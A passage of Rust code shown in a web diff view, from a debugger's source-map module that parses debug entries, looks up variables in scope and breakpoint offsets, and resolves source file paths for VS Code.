let line_col = match it.next() { Some(s) => s, None => continue };
|
||||
let kind = match it.next() { Some(s) => s, None => continue };
|
||||
let src = it.next().unwrap_or("");
|
||||
let Ok(offset) = usize::from_str_radix(off_hex, 16) else { continue };
|
||||
let (lstr, cstr) = match line_col.split_once(':') {
|
||||
Some(p) => p, None => continue,
|
||||
};
|
||||
let Ok(line_n) = lstr.parse::<u32>() else { continue };
|
||||
let Ok(col_n) = cstr.parse::<u32>() else { continue };
|
||||
entries.push(Entry {
|
||||
offset, line: line_n, col: col_n,
|
||||
kind: kind.to_string(),
|
||||
});
|
||||
if raw_source.is_none() && !src.is_empty() {
|
||||
raw_source = Some(PathBuf::from(src));
|
||||
}
|
||||
}
|
||||
entries.sort_by_key(|e| e.offset);
|
||||
|
||||
let source_path = resolve_source_path(raw_source.as_deref(), &dbg_dir);
|
||||
Ok(SourceMap { source_path, entries, vars })
|
||||
}
|
||||
|
||||
/// Return all variables in scope at `line`. Used by the DAP
|
||||
/// server's `variables(LOCALS)` handler.
|
||||
pub fn vars_in_scope(&self, line: u32) -> Vec<&VarInfo> {
|
||||
self.vars.iter()
|
||||
.filter(|v| line >= v.line_start && line <= v.line_end)
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Find the source entry whose offset matches `offset` exactly -
|
||||
/// software breakpoints land at the exact planted byte.
|
||||
pub fn at(&self, offset: usize) -> Option<&Entry> {
|
||||
match self.entries.binary_search_by_key(&offset, |e| e.offset) {
|
||||
Ok(i) => Some(&self.entries[i]),
|
||||
Err(_) => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Find the nearest preceding entry - used when the breakpoint
|
||||
/// isn't an exact match (e.g. a runaway PC between lowered
|
||||
/// statements).
|
||||
pub fn nearest(&self, offset: usize) -> Option<&Entry> {
|
||||
if self.entries.is_empty() { return None; }
|
||||
match self.entries.binary_search_by_key(&offset, |e| e.offset) {
|
||||
Ok(i) => Some(&self.entries[i]),
|
||||
Err(0) => None,
|
||||
Err(i) => Some(&self.entries[i - 1]),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Turn whatever the .dbg's header reported into an absolute path.
|
||||
/// Strategy, in order:
|
||||
///
|
||||
/// 1. Absolute already + exists: trust it.
|
||||
/// 2. `dbg_dir / <filename>`: most common case, the .etpy lives
|
||||
/// next to its .dbg.
|
||||
/// 3. `dbg_dir / <raw>` joined as written.
|
||||
/// 4. `dbg_dir.parent() / <raw>`: covers `example/foo.etpy` written
|
||||
/// in a .dbg that is placed inside `example/` - the path was
|
||||
/// workspace-relative even though we have a per-folder dbg.
|
||||
/// 5. Last resort: return `dbg_dir / <filename>` even if not present,
|
||||
/// so VS Code at least sees a sensible-looking path it can offer
|
||||
/// to create.
|
||||
fn resolve_source_path(raw: Option<&Path>, dbg_dir: &Path) -> PathBuf {
|
||||
let raw = match raw {
|
||||
Some(p) => p,
|
||||
None => return dbg_dir.join("<unknown>"),
|
||||
};
|
||||
if raw.is_absolute() && raw.exists() {
|
||||
return canonicalize_pretty(raw);
|
||||
}
|
||||
if let Some(name) = raw.file_name() {
|
||||
let same_dir = dbg_dir.join(name);
|
||||
if same_dir.exists() {
|
||||
return canonicalize_pretty(&same_dir);
|
||||
}
|
||||
}
|
||||
let as_written = dbg_dir.join(raw);
|
||||
if as_written.exists() {
|
||||
return canonicalize_pretty(&as_written);
|
||||
}
|
||||
if let Some(parent) = dbg_dir.parent() {
|
||||
let workspace_relative = parent.join(raw);
|
||||
if workspace_relative.exists() {
|
||||
return canonicalize_pretty(&workspace_relative);
|
||||
}
|
||||
}
|
||||
// Couldn't actually find it on disk. Hand back the most plausible
|
||||
// guess so VS Code shows SOMETHING in the stackTrace.
|
||||
raw.file_name()
|
||||
.map(|n| dbg_dir.join(n))
|
||||
.unwrap_or_else(|| dbg_dir.join(raw))
|
||||
}
|
||||
|
||||
/// `std::fs::canonicalize` on Windows returns a `\\?\` prefixed path
|
||||
/// that VS Code doesn't love. Strip it.
|
||||
fn canonicalize_pretty(p: &Path) -> PathBuf {
|
||||
match std::fs::canonicalize(p) {
|
||||
Ok(c) => {
|
||||
let s = c.to_string_lossy();
|
||||
let trimmed = s.trim_start_matches(r"\\?\");
|
||||
PathBuf::from(trimmed)
|
||||
}
|
||||
Err(_) => p.to_path_buf(),
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user